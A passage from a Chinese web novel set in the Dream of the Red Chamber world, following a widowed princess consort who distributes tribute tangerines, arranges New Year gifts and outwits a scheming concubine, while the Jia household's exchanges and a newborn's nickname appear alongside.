各家本来也不靠圣上的赏赐过日子,要不然,一年就指着这点桔子,那也太悲催了!但是上头赏下来的,重点就是体面,说明你在圣上那里挂了号,如此其他人才不会狗眼看人低,随便怠慢你。 “先选一盘子,给先王爷灵前供上。然后前头先生那边送一盘,钰儿和瑚儿那边各送一盘,正院这边也留两盘。其他的算一算数量,都分下去吧!”顾晓看过那些贡桔之后,便吩咐道。 吴嬷嬷在一边都有些心疼了:“娘娘,不多留一些吗?全分了?”王府入冬之后也采买了不少桔子,不过从品相到口味,都比贡桔差一些。 顾晓倒是不在意这个, 上辈子哪年冬天不炫上几十斤的砂糖桔啊,她笑道:既然是圣上的赏赐,自然也该雨露均沾!几个孩子就不说了,那是正经的皇孙皇孙女,哪能不给他们呢!其他人也都伺候过先王爷一场,如今也没别的指望,这点子脸面,也还是要给的!回头叫人去市面上看看,有没有今年的贡余,就算是贵一点,也再采买一些回来。” 吴嬷嬷对此倒是不报多少希望,每年贡余就那么多,能闻到点风声的早就下手了,哪里还轮得到他们,她叹道:“也是娘娘大度!”说着,便带着春香春燕她们几个开始分桔子,取了不同形制的果盘将桔子摆好,然后便往各处送去。 顾晓这边的果盘直接端了过来,吴嬷嬷帮她剥了一个,去掉上头的丝络,放到旁边的白玉碟子上,顾晓拿了几瓣吃了,吃惯了后世形形色色的柑橘橙柚,如今的贡桔虽说品种已经经过了多次改良,但是在顾晓那里,也就是那样,而且桔子这东西,不是自己剥的,也觉得没灵魂。因此,顾晓只是略吃了几瓣,便停了手,转头问道:“咱们家的庄子上可种了些什么果树?” 吴嬷嬷说道:“我记得,娘娘陪嫁的庄子上种了一些柿子和梨,之前庄子上还送了一些鲜梨和柿饼过来,可惜鲜梨经不起磕碰,送到这边,不少都碰坏了!” 春雨也在一边说道:“西山那边庄子上还种了一些林檎和大枣,林檎先王爷和娘娘都不太喜欢吃,因此后来砍掉不少,大枣倒是每年都会送不少进府,府里头做枣泥山药糕,用的就是庄子上送来的干枣。” 顾晓回想了一下后世神京这边的气候和特产,说道:“京城这边不太适合种桔子,其他的瓜果倒是不妨碍的,西山那边可还有山地,不如买下来种上各种果树,请几个会嫁接的农人回来,看看能不能多嫁接几个品种出来!庄子上也能种上一些西瓜和甜瓜,一方面能给府里头增加几种瓜果,各个庄子上也能多些进项!” 顾晓想了想,又笑道:“回头也可以看看,能不能从西番各国淘弄一些瓜果品种回来,在庄子上种着试试看。” 吴嬷嬷跟着答应了下来,神京这边常有番人出没,隆安侯管着鸿胪寺,正是跟这些番人打交道的衙门,从他们那里寻摸一些中原没有的瓜果品种,也不是什么为难的事情。 顾晓为自己未来的口腹之欲筹划时,后院几个大大小小的主子都收到了贡桔。像是徒嘉泽和两个姑娘,每人都收到了一盘子,无非就是他们的盘子小一号而已。李氏也收到了差不多大的一盘,其他侍妾有孩子的分大半盘,没孩子的就只有半盘了。 冬季里头除了桔子,几乎没什么鲜果,平常能吃到的就是一些果脯蜜饯,如今桔子分下去,一干人都是忍不住口舌生津,打听到王府总共也就得了两篓子之后,一个个更是对顾晓感恩戴德,各自拿了做好的针线送到正院作为孝敬。如刘氏她们几个没孩子的,也觉得如今生活比起之前更有滋有味,恨不得日夜祝祷,祈求太妃长命百岁,免得等以后王妃当家,她们这些过气的太姨娘还得看小辈的眼色过日子。 除了 李氏嫉恨于自己居然落得跟周氏她们几个差不多的待遇,自家儿子也没跟两个丫头片子区分开来,其他人都很是开心,平王府里可谓是一片欢声笑语。 而其他王府,却少有和谐的。颖王府和宁王府因为袭爵的是庶子,太妃哪怕是嫡母,府里头还是有子的侧太妃更有面子,贡桔送过来,颖王太妃这边捏着鼻子给侧太妃分了跟自己一样的份例,如此侧太妃还觉得不平,暗中闹将起来。宁王太妃那边,因为宁王府只剩下一个男丁的缘故,那位侧太妃如今俨然将自己当做是王府的女主人了,下头下人也是见风使舵,以至于正院冷冷清清,侧院反倒是红红火火。宁王太妃因此郁结于心,以至于连管家权都被侧太妃给多了去。这次内务府将贡桔送过来,宁王太妃甚至一开始都不知道,直到侧太妃将桔子分下去了,正院才听说了消息。 “娘娘!”宁王太妃的乳母崔嬷嬷跪在她身边,垂泪不止,“侧院那边如今步步紧逼,只怕是想着叫娘娘给她腾位置呢,娘娘再不振作起来,这王府,都要没有娘娘下脚的地了!” 宁王太妃有气无力地说道:“我能有什么办法,我的儿子没了,以后这个王府就是他们母子的,自然一个个都向着他们!” 崔嬷嬷简直是恨铁不成钢,忙说道:“娘娘,如今她们不光是想要找王府,这是想要害了娘娘你的命啊!娘娘,要是世子还在,也不会愿意看到您变成这般光景!” 宁王太妃苦笑道:“我现在这个身体,又能有什么办法,不过是熬一日,是一日罢了!” 崔嬷嬷急道:“难道就看着她们得意?要奴婢说,您这日子,还不如隔壁安王太妃呢,人家没有嗣王,日子反而过得清静自在!” “那是圣上亲封的嗣郡王!”宁王太妃也知道崔嬷嬷是为了自己好,可是,府里的传承是上头定下来的,那就算是庶出,也是正经的皇孙,她说是太妃,也不过就是皇家的儿媳妇,身上可没有皇家血脉!要是皇家闹出什么不孝的丑闻来,她这个始作俑者又能有什么好下场呢? 崔嬷嬷也沮丧起来:“实在不行,娘娘,咱们去庄子上吧,他们的手总不能伸到您陪嫁庄子上去!您有嫁妆,有俸禄,在外头反而自在些,也能好好休养!” 宁王太妃沉默了一番,能好好活着,谁想死呢?她也是官宦人家的姑娘,要不是父亲外放,没有娘家帮忙,她能受这委屈?她想了想,叹道:“你去叫人准备好马车还有行李,明儿个咱们就搬到庄子上去,要是到时候他们还不肯安分,那也别怪我彻底撕破脸了!”说到这里,宁王太妃忍不住咬了咬牙。 没了当家男人有没有当家男人的难处,而有当家男人的人家,也未必就能舒坦到哪里去了。 像是雍王府,作为年长的皇子里硕果仅存的之一,如今就很是尴尬。 自从先太子与几个皇子搞了一出宫变之后,圣上对年长的皇子就变得愈发苛责起来。简王有生理缺陷,自然得了圣上的几许宽容,以至于雍王成了出气筒,如今那叫一个动辄得咎。像是这次分贡桔,平王 他们几家都分到了两篓,简王府也分到了两篓,结果到了雍王府这边,就只剩下一篓了。哪怕是一篓半呢,也说得过去啊,偏生就这么单溜溜一篓子,内务府的人送的不尴尬,雍王收的都很尴尬。 他如今处境很不妙,他原本在一众皇子中就不算出挑,之前一干兄弟死了大半,他还有些窃喜,觉得怎么着也该轮到自己了。如今他可不敢这么想了,他一个母族不给力,父亲不喜欢,朝臣也因为之前的事情对他这个成年皇子敬而远之的王爷,放在那里,简直就是个亮眼的靶子,谁都想对着靶心来那么一下。 他如今只恨不得将自己变成透明人,谁都看不到才好。为了向圣上表示自己真没惦记他的位置,他先是在府里建了个佛堂,没事就去念佛,然后又叫人去江南采买,搞了个小戏班子,没事就听戏。平常更是能不出门就不出门,恨不得在门口挂个牌子,表示本人已死,有事烧纸! 瞧着亲儿子差点没将自己憋成忍者神龟,圣上也没觉得有什么歉意。 他如今其实年纪已经不小了,太子之前遭受打压也正是因为如此,毕竟,在狼群里,老去的狼王害怕的不是外头的威胁,而是日益强壮的年轻狼。到了圣上这个年纪,成年的儿子就不是儿子,而是竞争对手,若是觉得父爱无处播撒,不还有几个小儿子吗? 圣上如今的心态,大家都能猜出来,因此也没哪个不要命的敢在朝堂上说什么立储的事情,一个个二缄其口,只当什么都不知道,就等着衙门封印好过年。 衙门到了年底开始清闲下来,王府却是进入了忙碌状态。! 第 38 章 哪怕是在孝期,也免不了人情往来。 给圣上的年礼已经送上去,但还有平辈之间的年礼,哪怕因为守孝的缘故要略减三成,但省是省不了的。 虽说年礼这东西难免要左手倒右手,但是很多时候也不能当年就把东家的送给西家,回头被人知道了,就要被说嘴。 平王府以前的风格就是随大流,如今更是如此。不过,其他人倒是好说,宫里还有个李才人,宫外还有个李家。 吴嬷嬷翻出了往年的礼单,很是愤愤不平,隆安侯府是正经的岳家,每年的年礼也就是四平八稳,平平无奇,结果到了李家那边,反倒是精挑细选,要面子有面子,要里子有里子,那叫一个贴心。 顾晓扫了一眼,轻哼了一声,然后问道:“婉嫔娘娘娘家是在京城吗?” 吴嬷嬷眼睛顿时一亮,忙说道:“虽说不在京城,却是在通州,离得也不算远!说起来,婉嫔娘娘虽说已经过世了,但是到底先王爷是她一手抚养大的,哪怕没有改玉牒,那也是正经的养母呢!” 顾晓心中冷笑,婉嫔要是知道自己一死,徒宏远就利索地投向了生母的怀抱,对生母和舅家各种补偿,只怕非要气死!婉嫔死后,徒宏远还得了人家的私房,结果开府之后,根本就将婉嫔娘家视若无物,这跟狼心狗肺有什么区别。 也就是婉嫔娘家也落魄了,徒宏远当初又是个小透明,没人在乎他那点私事,要不然的话,这事被翻出来,徒宏远就要被人质疑道德问题。 顾晓当初也懒得管这些破事,因此也不清楚婉嫔娘家的情况,如今叫人翻找往年的礼单,发现徒宏远开府头一年的时候,人家还是送过一次年礼的,结果徒宏远回的礼一看就很敷衍,人家也就明白怎么回事了,不会再厚着脸皮贴上来,因此之后便没了下文。 婉嫔娘家姓胡,她父亲当年官至四品,可惜从他之后,下一代就不成器,婉嫔的哥哥勉强考上了举人,之后就屡试不第,最终不得不在通州那边谋了个官职。从他开始,二十年过去了,胡家就只有两个秀才,一个童生,科举无望,不得不找了个书院教书为业。 大概这也是徒宏远不跟胡家多往来的缘故,毕竟,胡家如今在上层连个说话的人都没有,对徒宏远来说,可谓是毫无价值。胡家也是有风骨的,徒宏远既然不想认,他们就当没这回事,即便家里已经落魄到这个地步,也不曾想办法攀附上来,或者是在外头败坏徒宏远的名声。 顾晓叹道:“之前是王爷当家,我竟是不知道这些,如今想来,也是我的失职!” 说着,顾晓吩咐道:“胡家如今这个情况,年礼就准备得实惠一点!弄上两口猪,两头羊,一筐冻鱼,然后再准备几匹衣料,一半丝绸,一半松江布,再给一匣子银锞子,就当是给胡家小辈的压岁钱吧!送过去的时候低调一些,不要叫人注意到,免得回头叫人有什么联想!” 吴嬷嬷心领神会地答应下来,越是死人,越是不能叫人家名声被污,这会导致有心人质疑 王府下一代的人品,所以,哪怕是为了徒嘉钰,也得将徒宏远装饰得花团锦簇!她沉吟了一番,决定找几个会说话的人去送礼,叫人家领娘娘的情,也不要在外传出别的什么话来。 以后逢年过节的,胡家那边还要都走动起来!顾晓叮嘱道,咱们府上要走礼的人家多了,不怕多出一家来! ♂本作者微云烟波提醒您《红楼太妃要躺平》第一时间在.?更新最新章节,记住[( “至于李家那边!”顾晓冷笑道,“就按照当年王爷给胡家的礼单,略减两成便是,胡家好歹还是官宦人家,哪能被李家越过去!若是他们嫌少,以后这走礼的事情,就交给侧太妃便是,毕竟,那也是侧太妃的娘家不是!” “那宫里李才人那边问起来,可该怎么说呢?”吴嬷嬷犹豫了一下,问道。 顾晓掸了掸袖口上不存在的灰尘,漫不经心地说道:“李家难道有入宫请安的资格吗?还是侧太妃有?” 吴嬷嬷一下子就明白了,李才人在宫里就跟个透明人差不多。宫里头没有太后皇后,就算是有个甄贵妃,那也只是代掌宫权,哪有资格叫一众皇子媳妇请安。你要是有心,可以递牌子进宫,求甄贵妃允许,然后再去探望生母养母,你若是没这个想法,甄贵妃也不会多管闲事。 而顾晓虽说不知道红楼梦里头到底是谁当了皇帝,但是甄家最后是坏了事的,贾家被抄家的一个罪名就是藏匿了甄家的财物。所以,虽说不至于要跟甄贵妃划清界限,但是能不进宫,还是不要进宫了。 至于除服之后,作为宗室命妇,进宫朝贺领宴,李才人根本没资格出现在这样的场合,想要跟顾晓这个儿媳妇打个照面都不可能。而这样的场合,程序都非常严谨,哪能抽出空来呢? 如此,即便是是徒宏远在的时候,顾晓也没怎么见过李才人。作为成年的皇子,徒宏远自个想要见生母,那都没多少机会呢,只能三五不时地通过宫人给自家亲妈送一些孝心!如今徒宏远不在了,顾晓哪知道徒宏远走的是那条线,用的是哪些人!尤其之前那场宫变之后,宫里也进行了一场大清洗,谁还敢继续跟宫里有什么勾搭,这不是给圣上发飙的理由吗? 所以,顾晓不跟李才人联系,那叫一个理直气壮,横竖对于李才人来说,她也只肯认自家侄女做儿媳妇,对她这个正牌儿媳妇素来是看不上的。 “不管怎么说,李才人也是王爷的生母,年礼什么的也得准备起来!”花费一点钱财,就能免去许多麻烦的事情,顾晓还是愿意做的,因此,便说道,“给李才人准备一些荷包,里面放上金银锞子,在宫里打赏什么的也用得上!再叫针线房给李才人准备两身衣裳,一起送进去吧!” 顾晓这边自觉已经将事情都安排妥当了,哪知道西院那边,李氏又开始闹幺蛾子。 李氏自觉自己这半年憋屈得厉害,她可不知道李才人在宫里,那真的是什么都不算。圣上一向博爱,要不然也没那么多孩子。从圣上登基开始,宫里不算那些没有承宠过的采女御女,有过册封品级的早就超过了三位数。 李才人当年偶然得幸,一举得男,这才得了个才人的 品级。可以说,她在宫里资历很老,但是谁也不会将她当做威胁,如此就可以知道,她在宫里到底是个什么位置了。 李氏却不这样想,在她贫瘠的大脑里,觉得姑母毕竟生下了表哥,那就是正经的娘娘,她自然可以帮自己撑腰! 因此,前些日子她一声不吭,私底下却是从头到脚精心准备了一整套衣裳鞋袜,用的还都是徒宏远之前给她的好料子,又按照以前的习惯,绣上了自己特有的标记,这会儿打听着正院要给宫里送年礼了,这才亲自带着东西过来,表示自己也要孝敬娘娘。 顾晓斜倚在玫瑰椅上,都懒得多看李氏的神情,嘴里说道:“孝敬娘娘啊,那就将东西放下来吧,回头一起送进去便是!” 李氏虽说傻,却也没有傻到家,这放到了正院,正院到底送不送进去,送的什么进去,那不是正院说了算吗?因此,她有些不甘心地问道:“娘娘今年不进宫请安吗?” 顾晓摆出一副诧异的模样,说道:“妹妹也是上了玉牒的人物,怎么不知道规矩,咱们家有白事,连出门做客都不行,哪能进宫呢?何况,王爷在的时候,难道妹妹跟着王爷给娘娘请过安?” 李氏顿时傻眼了,皇家的侧妃,那还是妾。如果是在清朝,侧福晋的确跟嫡福晋没有太多区别,侧室所出的儿子依旧能算是嫡子。但是按照汉人的礼法,除非是皇帝,否则的话,王府里头,就算是正妃去世了,也只会再娶一个继妃,而不会将侧妃扶正。所以,哪怕李氏之前再得宠,年年朝贺,李氏也不曾有机会跟着进宫。 李氏之前有什么孝敬,都是徒宏远叫人送进去的,还得带上一封书信,列上哪些是李氏准备的,口口声声都在说李氏的一片孝心。可如今,李氏也不认识几个字,之前徒宏远安排的人都被打发出去了,如今身边伺候的下人也都是一帮文盲,叫她们传个话,画个花样子,那是没问题,让她们写信就是为难人了。 这传达不出去的孝心,有个屁用啊!李氏目瞪口呆地看着顾晓,几乎要哭出来。 顾晓叹道:“妹妹一片心意,娘娘定然也是知道的!可是,娘娘如今也是上了春秋的人了,王爷不在了,娘娘才是最伤心的,咱们这些做儿媳妇的,自然应当连同王爷那一份一起孝敬上!只是宫规森严,咱们等闲也进不得宫,只能送些东西聊表心意。” 话都说到这个份上了,李氏哪有不明白的道理,她没有入宫的资格,顾晓也不会没事进宫找这个不自在,所以,就算是东西送进去了,李才人知道她的委屈,拿顾晓也毫无办法。 就像是大户人家,庶子媳妇只会去嫡母那边晨昏定省,一个地位低微的庶母,只能算是半个长辈,根本没有资格教训儿媳妇,哪怕是自己亲儿子的媳妇。历朝历代,婆媳关系里头夹杂的男人才是关键,男人肯听生母的,那自然是媳妇吃亏,如今徒宏远都埋到地底下去了,他难不成还能托梦训斥顾晓不孝顺,不知道帮着他照顾爱妾吗? 李氏这边还没失望够,新一重的打击又来了,顾晓笑道:“妹妹也是知道 的,之前我生末儿,赶上一连串的事情,如今人看着还好,其实失于调理,大夫也说了,这几年都得好生养着,我便是想要尽一份孝心,也是有心无力,今年送进宫的衣裳鞋袜,还都是叫针线上人做的。妹妹素来孝顺,又是宫里娘娘的亲侄女,娘娘若是见了妹妹的心意,也能得到一些抚慰!” 说着,顾晓说道:妹妹如今也没别的什么事,不如按照年节,给娘娘准备一年四季的衣裳鞋袜,到时候送进宫去,我定然也不会贪了妹妹的功劳!还有,听说娘娘如今在宫里吃斋念佛,她眼神也不怎么好,寻常经书也看不清楚,妹妹若是不觉得麻烦,不如给娘娘手绣一幅经文,到时候娘娘念经的时候,不就能想到妹妹的一番孝心了吗? ?想看微云烟波写的《红楼太妃要躺平》第 38 章吗?请记住本站域名[( 你不是要孝顺吗?那就去呗,我也不拦着你孝顺!但是孝顺这种事情,你不能一年就一次,其他时候就停在嘴上吧!李才人位分低,份例也少,没了徒宏远的贴补,想要多换几次衣裳都得掂量一些,如今既然你想要表现一下自己的孝心,那就府里头出材料,你出手艺,一起给李才人尽孝! 李氏脸都青了,她是学过女红,但是之前给李才人送的那些衣裳鞋袜,其实都是下头人做好的,她收个针,再绣上一个自己的标记,这就约等于是她亲手做的了!但是如今,她能使唤得动谁呢?针线上人会按照季节给她做衣服,却不会额外帮她给李才人做衣服。至于手底下那些丫头,不说手艺如何,人家最多帮你做贴身的小衣,这算是她们的职责。你要是得陇望蜀也不是不行,你得给好处啊,没好处谁乐意做,到时候故意使个坏,你就有苦说不出了! 像是这次给李才人做的衣裳,她一个人做不了,不得不让几个大丫头帮着裁剪缝纫,不仅将多出来的料子搭进去了,还额外贴补了那几个丫头半个月的月钱。这还是因为主要用的是好的织锦,上头本就有合适的花纹,除了抹额和鞋袜,其他不用多加什么绣纹,要不然的话,还得再加钱。毕竟,一个水平在线的绣娘,工钱可从来不会低。 可现在的李氏,能有多少好处给人呢?她如今除了月钱,就没别的收入,偏偏比起以前,开支还多了不少,要是为了几件衣服,将私房一气都花了,以后可怎么办? 李氏想要拒绝,可她是打着要给娘娘尽孝的名号来的,现在想要撂挑子不干,那你这份孝心可就不保真了!她心里发苦,后悔到了极点,早知道宫里娘娘对府里的事情鞭长莫及,自己干嘛要走这一趟呢,平白给自己添了一桩推不掉的差事。 顾晓杀人还要诛心,笑眯眯地说道:“这一身衣服做得着实精细,料子也好!这等给娘娘尽孝的事情,可不能叫妹妹破费,我这就叫人去库房取了织锦给妹妹补上,另外再拿几匹春装料子过来,妹妹直接带回去,省得之后还要再跑一趟!” 李氏回去的时候简直是如丧考妣,她人一走,正院这边就传出了一阵欢笑声。 “还是娘娘厉害,这下子,看她还生不生歪心思呢!”春晓嘴快,直接就开口说道。 “这给宫里娘娘尽孝的事情, 怎么能算歪心思呢!”顾晓正色说道,“那是侧太妃的一份孝心,府里头其他人问起来,咱们也得这么说!” 顾晓这般一说,其他人强忍住笑意,说道:娘娘的意思,我们知道了!娘娘如今自个身体不好,所以托了侧太妃,代自己尽孝呢! ?想看微云烟波写的《红楼太妃要躺平》第 38 章吗?请记住本站域名[( 没错,孝心外包这种事情,男人能做,自己不也能做吗?顾晓很是赞赏她们的说辞,想着上辈子看到的各种话术,觉得以后要是李氏想要撂挑子,自己也有话说了!想必,宫里那位李才人,也没那么大脸面,硬是要顾晓这个正牌儿媳妇不顾身体,给自己做针线吧! 别说她一个才人,便是皇后,也不好对正牌儿媳妇说什么,你不亲手给我做衣服,就是不孝呢!说白了,别说是皇室,便是那些高门大户,娶个儿媳妇回来,也不是为了当绣娘用的。给你做是心意,不给你做也是理所应当,就像是探春说的那样,怎么我就是该做鞋的人了? 说笑间,徒嘉钰和贾瑚又过来了。 他们之前顺利将一个园林的大致架构给搭建了出来,如今就是在调整位置,再增加一些装饰,所以,比起之前轻松了许多,也有时间跑到正院来玩。 末儿一见徒嘉钰和贾瑚,扶着栏杆走了几步,就往地上一趴,利索地爬了过来,口中含含糊糊地叫道:“哥,哥……” 旁边鹦哥也不甘示弱,站在架子上,扯着嗓子叫道:“哥哥,哥哥!” 末儿顿时急了,他现在才开始学说话,都是一个字一个字往外蹦,想要连起来说,还有点困难。他自觉自己被鹦哥欺负了,当下一屁股坐在地毯上,指着鹦哥就叫道:“坏,鹦~鹦~坏!” 徒嘉钰被逗乐了:“没错,是鹦哥坏!哥哥这就帮你打他!”说着,直接走过去,对着鹦哥就是张牙舞爪一番吓唬,惊得鹦哥拍打着翅膀想要飞起来躲避,结果脚上系了链子,跑都跑不了,只在那里胡乱蹦跶! 一看鹦哥这般狼狈,末儿满意起来,咧开已经长了两颗米粒一样大门牙的嘴巴笑了起来,口水很快就从嘴角流了出来。 徒嘉钰也不嫌弃,直接弯下腰拿了帕子给末儿擦了擦嘴巴,末儿“咯咯”笑着往哥哥身上凑,又将口水涂到了徒嘉钰袖子上,徒嘉钰不免有些无奈,不过还是当做没看到,将末儿拉起来,带着他有些跌跌撞撞地往罗汉床那边走去,然后将他抱了上去。 顾晓看着末儿扶着人走路的样子,琢磨着该给他弄个学步车,她之前在小区里头见许多小孩子用过,结构并不复杂,王府地方大,选个平整的地方,也不怕摔着。不过年前还是算了,等天暖和了,完全可以在院子里面跑起来,到时候就算是出了汗,也不容易着凉。 徒嘉钰和贾瑚分坐在罗汉床两头,各自拿了个贡桔逗弄末儿。末儿吃了这么长时间辅食,对于有滋有味的东西愈发感兴趣,之前顾晓给他喂过几次桔子肉,他已经记住了这个橙红色的东西,里面的瓤是酸酸甜甜的,一看徒嘉钰手里拿着桔子,就扑过去想要抢,嘴里还叨咕着:“吃,吃!” 结果 徒嘉钰手一转,就将桔子藏了起来,然后伸出手比划:“没有啦!” 贾瑚就在后头拿着另一个贡桔,嘴里叫道:“在这里呢,这里!” 末儿一扭头,又往贾瑚那里爬,还没爬到地方,又不见了。如此三四次,末儿就不乐意了,扯开嗓子嗷嗷大哭起来。 徒嘉钰顿时就慌了手脚,连忙将手里的桔子塞到末儿手里,贾瑚也有些不知所措,见徒嘉钰将桔子给了末儿,也跟着将手里的贡桔拿过去。 末儿一时半会儿哭着还有些停不下来,却已经忍不住将桔子往嘴里塞,边上乳母根本来不及阻拦,就眼睁睁看着末儿一口咬在了桔子皮上,尝到了桔子皮的酸涩味,末儿手一松,桔子滚落下去,他又是放声大哭起来。 顾晓看得哭笑不得,旁边奶娘赶紧将末儿抱起来哄着,另一个奶娘熟练地将桔子剥开,取出里头一粒粒的果粒,只弄了一点送到末儿嘴边,小家伙就是个馋鬼,尝到甜味之后就停了哭声,就一些眼泪还挂在眼角要掉不掉的,但是他可不在乎这个,眼巴巴地看着奶娘手里的桔子,小嘴一张,一副嗷嗷待哺的模样。 徒嘉钰和贾瑚都松了口气,徒嘉钰嘀咕了一句:“吃货!”这是之前偶尔听顾晓说的,这会儿他觉得这个词形容自己的弟弟,那真的是再贴切不过了! 顾晓笑道:“以后你们再弄哭弟弟,就你们自个哄去,要不然就等着魔音灌脑吧!” 徒嘉钰倒是不在意,他感觉末儿挺好哄的,无非就是给点好吃的呗,因此,这会儿信心十足:“妈,你放心吧!” 顾晓又是忍不住想笑,等回头他就知道,哄孩子是一件多费心的事情了。 贾瑚在一边默默看着,准备什么时候回去先拿自个弟弟练练手。 他的机会来得很快,荣国府的年礼送过来了,顺便接贾瑚回去过年。! 第 39 章 荣国府别的也就罢了,贾代善这一代去世之后,从上到下,就没几个有政治眼光的,但是架不住他们会钻营。 之前他们是不知道,如今发现张氏居然跟平王府和隆安侯府都能扯上关系,自然就厚着脸皮当做正经亲戚走动起来。不管以后用不用得上,但是多个地位崇高的亲戚,说出去也有面子! 荣国府如今还不是后来那内囊被掏空的模样,贾代善刚走,一些来钱的路子还在,各处的庄头也还没胆子大到将大半收益中饱私囊的地步。像是这次给平王府送礼,里头就有许多来自关外的好东西,比如说鲟鳇鱼、飞龙,这些都是关外的特产,多半都是贡品,也就是贾家这样开国的勋贵,当初在关外被赏了庄子做爵产的才能弄到,除此之外,还有虾干、海参、蛏干之类的海产,也都是上等的好物。 “荣国府这般也忒破费了些!”顾晓看到礼单,就有些为难,对于一个之前不曾有过往来的人家来说,这份年礼实在是过于丰厚了一些,若是那等破落户,拿钱求王府庇护也就罢了,偏生荣国府还真没真的败落下来,毕竟,谁也没想到,贾代善死后,这一家子男人一个比一个废物,最后竟然落到了只能依靠女子裙带的地步。 平王府虽说自始至终都没有夺嫡的想法和实力,但是你一个闲散宗室,跟一个在军中尚且还有着偌大影响力的勋贵在一起厮混,你是想要干什么? “罢了,比着荣国府的礼单,再加厚三成,给他们送回去吧!”顾晓揉了揉眉心,有些无奈地说道,这等事情,早点洗清嫌疑是正经,真没必要占这个便宜。 荣国府送来的东西主要是吃食,平王府这边回过去的也无非是些吃穿之物,虽说不像是荣国府,还有些关外的稀罕物事,但是也能拿出不少专供皇室的贡品出来,如此也算是抵消了。 荣国府那边收到回礼,便也明白了,平王府其实就是跟张氏有些私交,并不打算与荣国府有更深层次的关系。 王氏有些愤愤不平,自觉自家也是国公门第,人家就算是宗室,也是无职无权,竟是这般倨傲,生怕他们贴上来一般。她这般想着,嘴上却是说道:“王府那边可是跟咱们府上有些误会?”言外之意,就是张氏和贾瑚说了荣国府的坏话,才叫王府对府里避之唯恐不及。 贾史氏对于这等低端的挑拨压根不放在心上,哪怕不喜欢张氏这个儿L媳妇,但是张氏的人品,贾史氏还是信得过的。再有以张氏对贾瑚的看重,哪里会叫贾瑚学会那等背地里头嚼舌的小人行径。 因此,贾史氏只是说道:“也是咱们唐突了,之前又不曾有过什么往来,今年突然就送了年礼过去!人家平王府说是王府,实际上也是孤儿L寡母的,没经过什么事,之前又被吓着了,哪里敢跟勋贵人家多往来!跟你大嫂子那是没办法,毕竟是亲戚,张家落了难,他们怎么着也得搭把手!” 嘴里这么说,贾史氏心里也有些不自在,不过还是说道:“既然如此,以后与那两府,就由大房那边自己做主吧!”她心里的 小算盘也打得挺响,老大本来就是府里的袭爵人,在外头看来,大房代表的就是荣国府,你们跟大房往来,与跟荣国府往来有什么区别。 大房那边,张氏是直到贾瑚回来,才知道荣国府居然给平王府和隆安侯府准备了厚礼,当时就忍不住冷笑,你们贴上去,人家就一定要搭理你? 张氏嫁到荣国府这些年,早就意识到,贾家文字辈真正有能耐的就是个贾敬,可惜的是,贾敬之前掺和东宫的事情实在太多,即便圣上看在荣宁二公的份上没有追究,但是接下来肯定是要被打压的。贾敬别的也就罢了,那是个绝对的聪明人,要不然也至于二十多岁就中了进士,可惜的是,他没多少承压能力,当初在翰林院的时候就受不了其他人的排挤。圣上如今才五十岁出头,看着身体一点问题都没有,你让他扛住圣上可能长达十年八年的打压,能做得到才怪! 东府贾珍张氏也是见过的,那是个真纨绔,贾敬夫妻俩就他一个儿L子,难免娇惯了一些,因此养成了贪花好色、无法无天的性子,吃喝玩乐样样精通,指望他光耀门楣,那是没门! 西府这边,贾赦就算以前还有点心气,如今也是废了,别的不说,老太太都不能叫他起来,压过贾政去。贾政嘛,那就是个废物点心,他除了会念几本书之外,就没什么专业技能,就算是念书,也是死读书,并无什么灵性,至于做官,呵呵,他连府里的事情都搞不明白,还指望他能把衙门的事情搞明白,只怕连人际关系都搞不好。 以前荣国府煊赫的时候,人家也不曾贴上来,以至于自己嫁过来多年,要不是主动求救,人家连自己这边都不会多理会,如今这般援手,无非就是张家出了事,他们无法插手,也只能先护着自己这个出嫁女,也算是对过世的长辈有个交代。 贾瑚如今俨然是个无忧无虑的孩子,他回来的时候,徒嘉钰送了他一套积木,不是园林的,而是新出来的田庄。工匠们如今熟练了,都不需要给他们图纸,只要吩咐一下想法,他们立马就能做得八九不离十,甚至犹有过之。这年头本就有类似的玩具,无非之前都是做好的成品,如今是需要自己拼插罢了。因此,这套积木,从田宅村落,到道路沟渠,又有耕牛鸡犬,院里有水井,水边架着水车,磨坊摆着磨盘,还有个小毛驴在一边等着拉磨。总之,一看就是一派田园风光,别说是孩子了,就算是大人也觉得有趣。 贾瑚现在就是拼了一头耕牛,拿着逗弄弟弟,问题是,这么大的孩子其实视力还没完全发育,拿个拨浪鼓都比拿着个灰扑扑的小牛更能吸引他的注意力、 贾瑚顿时觉得有些无聊,便问道:“弟弟取名字了吗?” 张氏笑道:“你弟弟的名字,怎么都得等到老爷回来再娶,到时候叫你东府的敬大伯开了祠堂,记在族谱上!” 贾瑚想到徒嘉钰跟自己炫耀,末儿L这个小名是自己取的,顿时也有些蠢蠢欲动,便问道:“那总不能一直叫弟弟吧,我能给弟弟取个小名吗?” 张氏愣了一下,贾家的男孩,一直也没什么小名 的说法,都是按照排行来叫,像是这个小的,下头便以“二爷”称呼,长辈呢,直接叫一声“哥儿L”便也罢了,等着取了大名,再加上大名为“某哥儿L”、“某二爷”。 只是,张氏也不想叫贾瑚失望,很快便想好了说辞,然后说道:“那你说,要给弟弟取个什么小名?” 贾瑚在王府的时候就已经想了很多次了,这会儿L几乎是脱口而出:“弟弟是冬天生的,不如叫冬生?” 张氏听着也挺顺口,虽说俗了点,但是小名嘛,俗一点又有什么,古人的小名还叫什么“黑臀”呢,因此便笑道:“那便叫冬生好了!”说着,又对边上下人说道:“哥儿L早产,我也怕他生下来七灾八难的,便弄个小名压一压。” 张氏话说到这个份上,其他人哪有不明白的道理。徒嘉钰能给弟弟取小名,那是因为他们父亲没了,哪怕年纪还小,徒嘉钰这个长兄,也能代行父职。但是贾家这边,贾赦还活得好好的呢,贾瑚越过他给弟弟取小名,就有点逾越。如今张氏却是将取小名的事情背到了自己头上,只说自己觉得小儿L子早产难养,所以给他取个小名。 说着,张氏又吩咐道:“回头你们悄悄的,去一下清虚观,请张真人给冬生请个寄名符、平安符带回来。” 下头人当下应了下来,原本按照贾家的规矩,孩子生下来,都会按照生辰八字去清虚观请平安符和寄名符,但是这孩子生在孝期,加上又有王氏算计导致早产的缘故,那几日,府里头那叫一个乱糟糟,自然没人想起来这事。 张氏早就不为这事失望了,既然上头不管,那自己就去请呗,自家儿L子也不缺这点长辈的慈爱。 张氏又怕贾瑚说漏了嘴,便说道:“你去王府那边说冬生的事情无妨,在咱们家里,就说这个名字是我起的,明白吗?” 